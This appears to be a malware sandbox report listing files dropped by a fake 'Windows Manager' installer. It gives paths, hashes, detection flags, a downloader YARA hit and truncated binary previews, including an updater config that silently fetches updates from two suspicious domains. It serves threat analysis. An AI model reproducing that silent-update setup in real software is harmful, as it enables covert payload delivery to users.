SSDEEP:	24576:QOr6CB/z8SNkBH5k9Xk5LWvPV69XJeKTFEzpt:QOr3BgPBHSeJWvPVzKTFEzpt
MD5:	9453FD7FC259A8F63BF2335510785064
SHA1:	DE87738BF3AF7FA4A3D04F6D4CB0EB0E46C5FD54
SHA-256:	1CD3A99F519A0EA26D1CCCCA69089FB5C4272CF3A4EF02E6EE43A2151E4F7356
SHA-512:	3BB712DC682DC78FECF17408E008A8082311D99C9FDF4C4ADA5D0908E1CFFD3D10998B141442E05EC8BFB862F4416C6D57F70796096657A495341E8A7DEA00E4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......)...m.m.m.y...c.y.........~.....u.....1.y...v.y...l.y...L.m...........L.l.....l.Richm.........................PE..L.....\`.........."..................k............@.................................A.....@.................................xX..,.......Dc...........t..x.... .........p...............................@...............t....S.......................text...o........................... ..`.rdata..............................@..@.data....(...........b..............@....rsrc...Dc.......d...v..............@..@.reloc...... ......................@..B........................................................................................................................................................................................................................................................................................

C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.3\install\decoder.dll

Download File

Process:	C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	206848
Entropy (8bit):	6.455974444370028
Encrypted:	false
SSDEEP:	3072:RAks1YEbj/RY1chmT86lO2XkzjCN4d0N1crZ9RAZQH5lsarbXXMuM9:Qj2rAGKvdkcrZ3xsarbnpM9
MD5:	858C99CC729BE2DB6F37E25747640333
SHA1:	69070DF2849C1373FAE9A4B4A884F14FD8AE39F1
SHA-256:	D4F839922C901906F549C687CCC58A010861A6A006A15C32E1A7F2E3D703B4D9
SHA-512:	F53E00BBEDBA0EDBC363589A2BE76AC836915B95D8E887BF5EE4080F34D773A19D9DD43E715569EA21F85A9434DE2A16B51C52B00AFD89D268BFC929E1E8E695
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........._..._..._...K...U...K.......3...{...3...O...3...J...K...L...K...X..._.................^......^..._.v.^......^...Rich_...........................PE..L...z.\`.........."!.....X...................p............................................@.................................\|...<....p.. ...............................p........................... ...@............p..t............................text....V.......X.................. ..`.rdata......p.......\..............@..@.data...dV..........................@....rsrc... ....p......................@..@.reloc........... ..................@..B................................................................................................................................................................................................................................................................................

C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.3\install\holder0.aiph

Download File

Process:	C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe
File Type:	data
Category:	dropped
Size (bytes):	1502656
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	78C547B9587D497C80C35AAF2145E562
SHA1:	004DC5093FEC82325DFACA46B017FA822474BDA4
SHA-256:	56310567129504E8151CD2EFE9F19D05EA475BA603FF3516FB98C976DFDF6DA9
SHA-512:	DAF5FA22129522E745F3C32CEA22653D33DD4826215C6E7EEAC63C9F8D824A7C264F5BE6589BFD9CB6015CD3337BF0B63FF789735AA1B4F86F911FCB2874F639
Malicious:	false
Reputation:	unknown
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Config.Msi\680af4.rbs

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	205673
Entropy (8bit):	6.456533545782146
Encrypted:	false
SSDEEP:	3072:rj+sQSJ38YR4h04SZto/ycbzhfIZk7yukfxYJyAfqgT7Z14hZliQiPDe:H+FQ38t/SZfkVfISkC7R7Z1uriK
MD5:	4D53E953811E312B9EC6D26B85AD4A0A
SHA1:	EFF9BC4B0BEE760E290B2EBA32B09CEFD7369E1A
SHA-256:	FB34E454914727E57E423E11A4B01BAA7CB754EF0BE108845C5E072E7628FB52
SHA-512:	E8BA42D9BF72E135D33F382D688C8A5673CD37F6C2719F9CFF04BADCAA744A8F136FA78B41DBCA41F52BA4B6E03C41F65E13EC9693E391CBB1660C119B9E80C0
Malicious:	false
Reputation:	unknown
Preview:	...@IXOS.@.....@4t.W.@.....@.....@.....@.....@.....@......&.{C845414C-903C-4218-9DE7-132AB97FDF62}..Windows Manager$.Windows Manager - Postback Johan.msi.@.....@.....@.....@......logo.exe..&.{C5EBDD8B-C384-4CB5-9A33-9A4EF2189D51}.....@.....@.....@.....@.......@.....@.....@.......@......Windows Manager......Rollback..Rolling back action:....RollbackCleanup..Removing backup files..File: [1]....ProcessComponents..Updating component registration..&.{28FDA578-EFA5-4A4F-A558-E4219B09577D}&.{C845414C-903C-4218-9DE7-132AB97FDF62}.@......&.{D30ED18A-DEA4-45D6-8A1F-1643C3CC79C1}&.{C845414C-903C-4218-9DE7-132AB97FDF62}.@......&.{C48C1022-6EC4-4C0F-BB98-0EA64D330920}&.{C845414C-903C-4218-9DE7-132AB97FDF62}.@......&.{FD7030D8-9E76-4445-B52A-726084B486D7}&.{C845414C-903C-4218-9DE7-132AB97FDF62}.@......&.{BDF67205-71EF-48E8-B35B-F43B4B2037ED}&.{C845414C-903C-4218-9DE7-132AB97FDF62}.@......&.{57BA717A-E6F6-4504-AC96-B25193D3B96E}&.{C845414C-903C-4218-9DE7-132AB97FDF62}.@......&.{57BA717A-E6F6-4504-AC9

C:\Config.Msi\680af8.rbs

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	1278735
Entropy (8bit):	6.43768081152859
Encrypted:	false
SSDEEP:	24576:2REYB+FAREYB+F3REYB+FpREYB+FGREYB+FQREYB+F5REYB+Fk:2REYgAREYg3REYgpREYgGREYgQREYg5X
MD5:	ABB2E1D76D4A263B1EFB11B59BFC628E
SHA1:	495F438C3051B34E4AD3CEA3959EB7FA97D3F482
SHA-256:	0C77110749B8F81A853649693E4000743DD409C76A79DE4C07613E7F68E6C23F
SHA-512:	87CD7BC4DB9BB3AEDFCBB8FA3E592352515BAC451E128B5F44CCAF70AD9A64E0A8CD4FE7059D9BFF511191E199B922C20D2F23F62EA24B9671E971C4EBE1F1B1
Malicious:	false
Reputation:	unknown
Preview:	...@IXOS.@.....@@t.W.@.....@.....@.....@.....@.....@......&.{13499434-9821-4E2D-B7DF-7C0867EB1504}..Windows Installer..System Updater.msi.@.....@.....@.....@......logo.exe..&.{F5D6D741-5AB0-4858-81E2-26A50610DFFA}.....@.....@.....@.....@.......@.....@.....@.......@......Windows Installer......Rollback..Rolling back action:....RollbackCleanup..Removing backup files..File: [1]....ProcessComponents..Updating component registration..&.{DECF3B3F-BFBA-4EB7-8878-E4C409356ABA}&.{13499434-9821-4E2D-B7DF-7C0867EB1504}.@......&.{71730F5F-0233-4DB3-A1F2-B0AD0A1B831F}&.{13499434-9821-4E2D-B7DF-7C0867EB1504}.@......&.{408CE191-A5E9-46B9-ADB0-4347C8FF9F0C}&.{13499434-9821-4E2D-B7DF-7C0867EB1504}.@......&.{58381363-55CC-4691-9CA4-9F7C23C7CB30}&.{13499434-9821-4E2D-B7DF-7C0867EB1504}.@......&.{C2120CD2-0128-4AF5-A142-B9275A4695E6}&.{13499434-9821-4E2D-B7DF-7C0867EB1504}.@......&.{845529B4-88B3-40D2-9BAD-9BB05F467355}&.{13499434-9821-4E2D-B7DF-7C0867EB1504}.@........AI_RollbackTasks21.Rolling back sched

C:\Config.Msi\680afd.rbs

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	12885
Entropy (8bit):	5.582776368455914
Encrypted:	false
SSDEEP:	192:KLDdSvROW+vRNWJv6ZvhOf7UrE2peOoSBx63tJd:KLDdSROzRNOv6ZozqE2peOoSBitJd
MD5:	9EF0CF9D62B8D3C7CDAF512391DBD9BD
SHA1:	7C3B8C500DE1DFF5121C453EA67FA9636D6DF010
SHA-256:	B16E26882E5171931F3BD28188B4B7C9CC00499D3B3B89572CCD6931E10EDE7D
SHA-512:	4F46A3065E58BCE37B3ECF56323D8C0D56ED24A1981456464379F446D61C29B02A1660887442E5D48F7E926261CBF27912040ECF3218E292D55144CDB22EFA07
Malicious:	false
Reputation:	unknown
Preview:	...@IXOS.@.....@Ct.W.@.....@.....@.....@.....@.....@......&.{C845414C-903C-4218-9DE7-132AB97FDF62}..Windows Manager$.Windows Manager - Postback Johan.msi.@.....@.....@.....@......logo.exe..&.{C5EBDD8B-C384-4CB5-9A33-9A4EF2189D51}.....@.....@.....@.....@.......@.....@.....@.......@......Windows Manager......Rollback..Rolling back action:....RollbackCleanup..Removing backup files..File: [1]....InstallInitialize$..@....z.Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\C414548CC3098124D97E31A29BF7FD26\Transforms...@....(.$..@....@.Software\Microsoft\Windows\CurrentVersion\Installer\TempPackages...@....(.&...C:\Windows\Installer\680af5.msi..#0$..@......Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\C414548CC3098124D97E31A29BF7FD26\InstallPropertiesx.....\...l.............H.........?...................9...................?........... ... ........... ... ................@....%...AuthorizedCDFPrefix%...CommentsX.This installer data

C:\Config.Msi\680afe.rbf

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has command line arguments, Icon number=0, Archive, ctime=Sat Dec 7 08:10:02 2019, mtime=Wed Dec 6 12:33:54 2023, atime=Sat Dec 7 08:10:02 2019, length=59904, window=hide
Category:	dropped
Size (bytes):	1871
Entropy (8bit):	3.6155237488873753
Encrypted:	false
SSDEEP:	24:8YJWeSkbTAkwm+ssv0r+MQv0srSOIP4WQv0sJcsFSEEyfm:8YYAb02eI5KPrSOIwWKPWsYEX
MD5:	DCB791644464751A53868A2A25A487AC
SHA1:	13B02398612482536F229B977FBC3618B7D76322
SHA-256:	02FCA12F22C19E42F68F63885B75AE2B0FE054848FE9D0C8C4298EC79933D980
SHA-512:	4E11F6F4B91A1B1FFD47346A2556611EB454DA51C4FE87118F06F94B36F64E5CEEA1722352B3AC800D9ABE9B76110DA1B5F2D2BE6C6443F64FC6F7C9E7A01487
Malicious:	false
Reputation:	unknown
Preview:	L..................F.`.. ...25.........H(..25.............................A....P.O. .:i.....+00.../C:\...................V.1.....DW.r..Windows.@......OwH.W.l....3.........................W.i.n.d.o.w.s.....Z.1.....DW.r..SysWOW64..B......O.I.W.l....Y.....................l...S.y.s.W.O.W.6.4.....b.2......OBI .msiexec.exe.H......OBI.W4l................\|.............m.s.i.e.x.e.c...e.x.e.......N...............-.......M...........R..d.....C:\Windows\SysWOW64\msiexec.exe..%.....\.....\.....\.W.i.n.d.o.w.s.\.S.y.s.W.O.W.6.4.\.m.s.i.e.x.e.c...e.x.e.)./.x. .{.1.3.4.9.9.4.3.4.-.9.8.2.1.-.4.E.2.D.-.B.7.D.F.-.7.C.0.8.6.7.E.B.1.5.0.4.}.S.C.:.\.W.i.n.d.o.w.s.\.I.n.s.t.a.l.l.e.r.\.{.1.3.4.9.9.4.3.4.-.9.8.2.1.-.4.E.2.D.-.B.7.D.F.-.7.C.0.8.6.7.E.B.1.5.0.4.}.\.S.y.s.t.e.m.F.o.l.d.e.r.m.s.i.e.x.e.c...e.x.e.........%SystemRoot%\Installer\{13499434-9821-4E2D-B7DF-7C0867EB1504}\SystemFoldermsiexec.exe......................................................................................................

C:\Config.Msi\680b03.rbs

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	12030
Entropy (8bit):	5.596171849087587
Encrypted:	false
SSDEEP:	192:/GXK7Rtth7RdtoHMfkpdm8do5c3lE3XEQCfO3tJm:/GXGRt3RdCHMfh8y5+kEQCotJm
MD5:	6BAF1752725AA0D43D48413C0EF2BE75
SHA1:	6973A5439714FBD578E8D3C860DF9FD04BAB05E7
SHA-256:	2E09CA4BF64EB9827D415699900D93543C3DF0BD91947414B6D59BA2AC119ECC
SHA-512:	E6F9A20EE9C4F2CCF464D51039B6E2D47572A30D30B6220C9D58BA06E3D81C3D8EE4ABA39C4E527A1AD0B837588ADE7B44545484B5AF47F1C37EA4C93366AD81
Malicious:	false
Reputation:	unknown
Preview:	...@IXOS.@.....@Lt.W.@.....@.....@.....@.....@.....@......&.{13499434-9821-4E2D-B7DF-7C0867EB1504}..Windows Installer..System Updater.msi.@.....@.....@.....@......logo.exe..&.{F5D6D741-5AB0-4858-81E2-26A50610DFFA}.....@.....@.....@.....@.......@.....@.....@.......@......Windows Installer......Rollback..Rolling back action:....RollbackCleanup..Removing backup files..File: [1]....InstallInitialize$..@....z.Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\434994311289D2E47BFDC78076BE5140\Transforms...@....(.$..@....@.Software\Microsoft\Windows\CurrentVersion\Installer\TempPackages...@....(.&...C:\Windows\Installer\680afb.msi..#0$..@......Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\434994311289D2E47BFDC78076BE5140\InstallPropertiesx.....\...l.............H.........?...................9...................?........... ... ........... ... ................@....%...AuthorizedCDFPrefix%...CommentsZ.This installer database contains

C:\Config.Msi\680b05.rbs

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	1954192
Entropy (8bit):	6.42335894414855
Encrypted:	false
SSDEEP:	49152:IRhZ2ioRhZ2iCRhZ2ifRhZ2itRhZ2i1RhZ2i5RhZ2iKRhZ2ibRhZ2iqRhZ2iA:IuA5fLf0Vkq
MD5:	AE150309F2E43A4E8CC1AE0B524DACB6
SHA1:	9C861E3CB7A6259161F448996DE3A2AC3FE0E627
SHA-256:	CAC3BE012EB70BFDFD69B30EF36AA4413FECA3972F89F6AD87F7195E3DF6F3CB
SHA-512:	12D968FF308AEC47062747A40F6BA06D842C7DA5A8AEFDA2DD192DB41BE6C0DD457C98C6073843D148540C95E0EF91E36CC36043CF9AA2DB1998894C0CEAA5B8
Malicious:	false
Reputation:	unknown
Preview:	...@IXOS.@.....@Mt.W.@.....@.....@.....@.....@.....@......&.{798E61D4-8923-4E77-A74B-2DF264394A48}..Windows Installer..System Updater.msi.@.....@.....@.....@......logo.exe..&.{BF7EE51F-4DE9-4BDC-9A63-5AFDBF8C954B}.....@.....@.....@.....@.......@.....@.....@.......@......Windows Installer......Rollback..Rolling back action:....RollbackCleanup..Removing backup files..File: [1]....ProcessComponents..Updating component registration..&.{DECF3B3F-BFBA-4EB7-8878-E4C409356ABA}&.{798E61D4-8923-4E77-A74B-2DF264394A48}.@......&.{71730F5F-0233-4DB3-A1F2-B0AD0A1B831F}&.{798E61D4-8923-4E77-A74B-2DF264394A48}.@......&.{408CE191-A5E9-46B9-ADB0-4347C8FF9F0C}&.{798E61D4-8923-4E77-A74B-2DF264394A48}.@......&.{58381363-55CC-4691-9CA4-9F7C23C7CB30}&.{798E61D4-8923-4E77-A74B-2DF264394A48}.@......&.{C2120CD2-0128-4AF5-A142-B9275A4695E6}&.{798E61D4-8923-4E77-A74B-2DF264394A48}.@......&.{845529B4-88B3-40D2-9BAD-9BB05F467355}&.{798E61D4-8923-4E77-A74B-2DF264394A48}.@........AI_RollbackTasks21.Rolling back sched

C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	697208
Entropy (8bit):	5.080864864433559
Encrypted:	false
SSDEEP:	12288:FyuvpsDlaR8FXIa9p6RrL1lUHBxnt5mHjLVUQNC:k8psDlaRAXIsYNL1lAd5mHjqQNC
MD5:	26002A612B392A4A948098A6211E1431
SHA1:	F22F7BE798FA1F5DAB112E822853A9236FB80ABD
SHA-256:	DD226AA0EE4D6A3439BF2CF3E9ECD2C22AD59451C8CE902258B1D34FD28FF922
SHA-512:	BC8A06AE19A1B59C0C89F33943FC449CD8DE1F45133DFC796570BD0407E8E2DD9DAB2885EBE6692F3A06ACF7BCC75AFBEB2E8918E925D37E65C6813EE34A7462
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 54%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...*.zb...............%.......................@....................................j.....`... ..................................................2......................x....................................Y..(...................<................................text...............................`..`.data...............................@....rdata...v.......x..................@..@.pdata...............f..............@..@.xdata..............................@..@.bss.... ................................idata...2.......4..................@....CRT....p...........................@....tls................................@....rsrc...............................@....reloc..............................@..B........................................................................................................................................................................

C:\Program Files (x86)\AW Manager\Windows Manager\EULA.url

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	MS Windows 95 Internet shortcut, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	20
Entropy (8bit):	3.621928094887362
Encrypted:	false
SSDEEP:	3:HRAbABGQf:HRYFA
MD5:	F14A9F1417503C7DC1DD6759DE850312
SHA1:	2647C9CFE611B033824C3998B9E17A69EB7A8D65
SHA-256:	8C05D3FB956DAC02702A9377D361116E2AD6B2F079E36ADA56DF98D240CC3D96
SHA-512:	677FBE17BD9B318A69AED59AF3B81A340CDDDBE430E34F7D15B02F279118BE65A2C7B7B30618BD8D0331DE60D7F15DE0E0864C3ED7FB90EEF6EEAC3187D9C3C1
Malicious:	false
Reputation:	unknown
Preview:	[InternetShortcut]..

C:\Program Files (x86)\AW Manager\Windows Manager\Privacy.url

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	MS Windows 95 Internet shortcut, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	20
Entropy (8bit):	3.621928094887362
Encrypted:	false
SSDEEP:	3:HRAbABGQf:HRYFA
MD5:	F14A9F1417503C7DC1DD6759DE850312
SHA1:	2647C9CFE611B033824C3998B9E17A69EB7A8D65
SHA-256:	8C05D3FB956DAC02702A9377D361116E2AD6B2F079E36ADA56DF98D240CC3D96
SHA-512:	677FBE17BD9B318A69AED59AF3B81A340CDDDBE430E34F7D15B02F279118BE65A2C7B7B30618BD8D0331DE60D7F15DE0E0864C3ED7FB90EEF6EEAC3187D9C3C1
Malicious:	false
Reputation:	unknown
Preview:	[InternetShortcut]..

C:\Program Files (x86)\AW Manager\Windows Manager\Uninstall.lnk

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has command line arguments, Icon number=0, Archive, ctime=Sat Dec 7 08:10:02 2019, mtime=Wed Dec 6 12:34:13 2023, atime=Sat Dec 7 08:10:02 2019, length=59904, window=hide
Category:	dropped
Size (bytes):	1871
Entropy (8bit):	3.6062493002954255
Encrypted:	false
SSDEEP:	24:8WkrJWeSkbTAkwm+sP4AQ+Mb4A7SIr4Wb4A5csFSEEyfm:8WWYAb02AAQ5b4A7SBWb4AGsYEX
MD5:	D12B5B6C510C88C5C0BFC85A1909B02A
SHA1:	49B2702CC9909957DA8BA6180EB8D3984A9CFCAA
SHA-256:	C99BCF2E039407C41DF8C193AB15106C5D04BE455F00B0C542EE7AE7FC3926C6
SHA-512:	02F0E3AFB81B5587EE3F793573B194A9E7C274E259B3FF20ED60E2952C5F88EB03F4A30752995959FE1EE496AF47EE8E77752DEBDDFBF20BCE1A7E98358B1EB8
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...25.....-!..H(..25.............................A....P.O. .:i.....+00.../C:\...................V.1.....DW.r..Windows.@......OwH.W.l....3.........................W.i.n.d.o.w.s.....Z.1.....DW.r..SysWOW64..B......O.I.W.l....Y.....................l...S.y.s.W.O.W.6.4.....b.2......OBI .msiexec.exe.H......OBI.W4l................\|.............m.s.i.e.x.e.c...e.x.e.......N...............-.......M...........R..d.....C:\Windows\SysWOW64\msiexec.exe..%.....\.....\.....\.W.i.n.d.o.w.s.\.S.y.s.W.O.W.6.4.\.m.s.i.e.x.e.c...e.x.e.)./.x. .{.7.9.8.E.6.1.D.4.-.8.9.2.3.-.4.E.7.7.-.A.7.4.B.-.2.D.F.2.6.4.3.9.4.A.4.8.}.S.C.:.\.W.i.n.d.o.w.s.\.I.n.s.t.a.l.l.e.r.\.{.7.9.8.E.6.1.D.4.-.8.9.2.3.-.4.E.7.7.-.A.7.4.B.-.2.D.F.2.6.4.3.9.4.A.4.8.}.\.S.y.s.t.e.m.F.o.l.d.e.r.m.s.i.e.x.e.c...e.x.e.........%SystemRoot%\Installer\{798E61D4-8923-4E77-A74B-2DF264394A48}\SystemFoldermsiexec.exe......................................................................................................

C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1036152
Entropy (8bit):	6.491502495873816
Encrypted:	false
SSDEEP:	24576:yViYocX3hU49N1frFMDtpen0qZQ9b1zCdUVdjKFoeO:8iYoM6EODtA0qZhdUVdjKFoeO
MD5:	00DF35EDF6E7E2345949AF6ACB6EC40A
SHA1:	C9DCD62666C9056DAE38CB292361ABC263C62ECF
SHA-256:	C7EE9A8357EEB602C67C4EDEDB3E96510352FDDA9BFDCE60C5902D4C0A57AF66
SHA-512:	53334A2C60A4CF95EE0D59E86F14DB5847C130A7A27E6E8C418AE6CEF21AF6CD463DA2F15CA1ADC26FAD6A236F0DD92D0BA5ABCD88A453BF02939C8C7C0E7E09
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......l..7(.{d(.{d(.{d..xe&.{d..~e..{dJ..e;.{dJ.xe1.{dJ.~eu.{d...e3.{d..}e).{d..ze..{d(.zd..{d..reU.{d...d).{d..ye).{dRich(.{d........PE..L.....gb.........."..............................@.................................._....@.....................................,.......pc..............x....`.......:..p...................@;..........@...............t...<........................text...o........................... ..`.rdata..2...........................@..@.data...D)..........................@....rsrc...pc.......d..................@..@.reloc.......`......................@..B........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.ini

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	472
Entropy (8bit):	5.380424270988325
Encrypted:	false
SSDEEP:	12:1OSMctb7qyMp7dwbUvngXnig70XvtgzXWZWVyMfgX4m+pC:1E4+PRPSni5XqfS4m+pC
MD5:	30E74E45812BACBF0D7B0A9AA7881CD4
SHA1:	5662713E0363CDE26E0442564964099C703DE1C6
SHA-256:	1650CD49F6012B34D6CCC6171A197C77694C1DFA8E3780EA08536248EC5880E9
SHA-512:	9475E19D006B45C056500EF54F67E933E1AA6F9701D736F96B8B72B98F18ABFFA5825DA21DAA13E20FCEB99FC18E2C1B4B0ABC15516624AC067E502A625C6FDD
Malicious:	false
Reputation:	unknown
Preview:	[General]..Flags=NoDisableAutoCheck\|PerMachine\|NoUpdaterInstallGUI..AppDir=C:\Program Files (x86)\AW Manager\Windows Manager\..ID={FDBC5875-BBA4-4DA5-9048-A196A21FE49A}..ApplicationName=Windows Installer..CompanyName=AdvancedWindowsManager..ApplicationVersion=5.0.4..DefaultCommandLine=/silentall..DownloadsFolder=C:\ProgramData\AdvancedWindowsManager\Windows Installer\updates\..URL=https://www.marvellover.com/updates.txt..URL1=https://www.hulkisbulish.com/updates.txt..

C:\Program Files (x86)\VxCXHgOKWFitaVL Corporation\is-1L53Q.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-8LRUI.tmp\a0.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3223613
Entropy (8bit):	6.3121812985566335
Encrypted:	false
SSDEEP:	49152:OWGtLBcXqFpBR6SVb8kq4pgquLMMji4NYxtJpkxhGjIHTbQ333TYZ:CtLutqgwh4NYxtJpkxhGj333TQ
MD5:	12DD9097E595FB41106F5DE6FDC5F049
SHA1:	73F2078A8461B4DD719476B1B073822201566DA5
SHA-256:	D220A894986AA4222EEEB61B186EB0DFD971DD06A6145BCECE0892665C4911D3
SHA-512:	F10224731623DF661147A010097E57378047D5E4D0A2632B17EF326C8695D029DEAC952B61674F67BA3F8C472AF8280A3BED3416C853A07FE3EA4488B65EB714
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......c.................L,.........hf,......p,...@...........................1...........@......@....................-.......-..9...................................................................................-.......-......................text.... ,......",................. ..`.itext...(...@,.....&,............. ..`.data...X....p,......P,.............@....bss.....y....-..........................idata...9....-..:....,.............@....didata.......-.......-.............@....edata........-......-.............@..@.tls....L.....-..........................rdata..]............,-.............@..@.rsrc.................-.............@..@..............1.......0.............@..@........................................................

C:\Program Files (x86)\VxCXHgOKWFitaVL Corporation\is-92M1P.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-8LRUI.tmp\a0.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	434176
Entropy (8bit):	6.54894127969691
Encrypted:	false
SSDEEP:	12288:wSCzXYwG58z1pqSzBDMnkll8EpUWybLTmxZ2JBQxzSNd1hoi599snmJDr35:PC0wKkqQxz2X5UmJf3
MD5:	1ED52122E7D26AB6D0845D4008CF1685
SHA1:	6C856CC941EB63CA908F51109B3ABC1108C4C1E7
SHA-256:	446B0A0D26068692D8088A50AEBBAAB429514FA630D10F62E9A0EBF6B3E3BC63
SHA-512:	B0DDD3826F3A6ECCC9610E500A02C9ADEA7AE8C0343F48CDE6AAADEF814681FD39D06D663D6FCC90ED460CA544D8F62D5983421C152420D8398405B9208F6601
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...............................:.......Q...................................#...~.......F.......Rich............PE..L.....I...........!.........P.......@.......................................0..............................................h...(................................&...................................................................................text............................... ..`.rdata..]#.......0..................@..@.data............@..................@....rsrc................P..............@..@.reloc..(1.......@...`..............@..B................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\VxCXHgOKWFitaVL Corporation\is-9GOQR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-8LRUI.tmp\a0.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4869192
Entropy (8bit):	5.649617428876888
Encrypted:	false
SSDEEP:	49152:rXKBzQgiHMgpAdG2QyVkj1LkQWtdrT5ftjdKBc/uGiPg0qHpJEvBl5ViHlXzf:raFRi0SWbTdmcGGogpgPidD
MD5:	9A1F37F923A45C9C36816F87F75FF3FD
SHA1:	29E4C1CA3285DE8F6D72F0395BB881C7C44E8621
SHA-256:	8F29C2E143B8BA52A57623D5FE28B96FAE1B168466E0DAAABBC3B73BCB9418E1
SHA-512:	EB2D9F7006784ADD1B710DEE7A0A4AC697AA957511662226124B9DC8C8012CAB90B4E3D12EC28C5B01A27415BDF5ED2205C0531B0849BCAB12CDDECF5E624144
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.........m'...t...t...t..u...t..u...t..uI..t...u...t...u...t...u...t..u...t...t(..tI..u...tI..u...t%..u...t...u...t...u...t...t...t..t...t...u...tRich...t........PE..d...U\+b.........." ......7.........p.........................................K......yJ...`.........................................`.B.l....zH.......H.Y.....E..f....J.H....`J..]...2;.8....................H;.(....2;.8............pH..............................text...=.7.......7................. ..`.rdata....... 7.......7.............@..@.data........B..:....A.............@....pdata..(.....E......2E.............@..@.idata..d(...pH..*....G.............@..@.tls..........H.......H.............@....00cfg..Q.....H.......H.............@..@_RDATA..".....H.......H.............@..@.rsrc...Y.....H.......H.............@..@.reloc......`J.......I.............@..B................................................

C:\Program Files (x86)\VxCXHgOKWFitaVL Corporation\is-J9JTN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-8LRUI.tmp\a0.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	694992
Entropy (8bit):	5.697661316832979
Encrypted:	false
SSDEEP:	6144:uQ4Bm+4SZrcVjqb/suCl37UToyzhsmNjV+1eiXy+RkEdYfELMwlHlZWHlIZE:tSZaEQ7Uow+mN5+1eqy+RkEdYfOE
MD5:	D26FB663EC89C51598B076126E843850
SHA1:	5D776FFDDAF296FE76E8756E4E28836767F3C267
SHA-256:	DE5709157472DF4CDD280CED1BF0873C495D81E2116D16E13D8482723C44EEA9
SHA-512:	57C07A25773742A7A481469A8394C34AE8E6E2F7F366DDE5EEAB2E0E95838FB1AB53E9628B313FE184E2FF71C015C8439E9D70FBF1D724B2C77F72B2552FCDD2
Malicious:	true
Yara Hits:	Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Program Files (x86)\VxCXHgOKWFitaVL Corporation\is-J9JTN.tmp, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....Ca...........!.....P... ......Nf... ........... ..............................^]....`..................................e..O.................................................................................... ............... ..H............text...TF... ...P.................. ..`.rsrc................`..............@..@.reloc...............p..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\VxCXHgOKWFitaVL Corporation\is-KD7U9.tmp

Download File

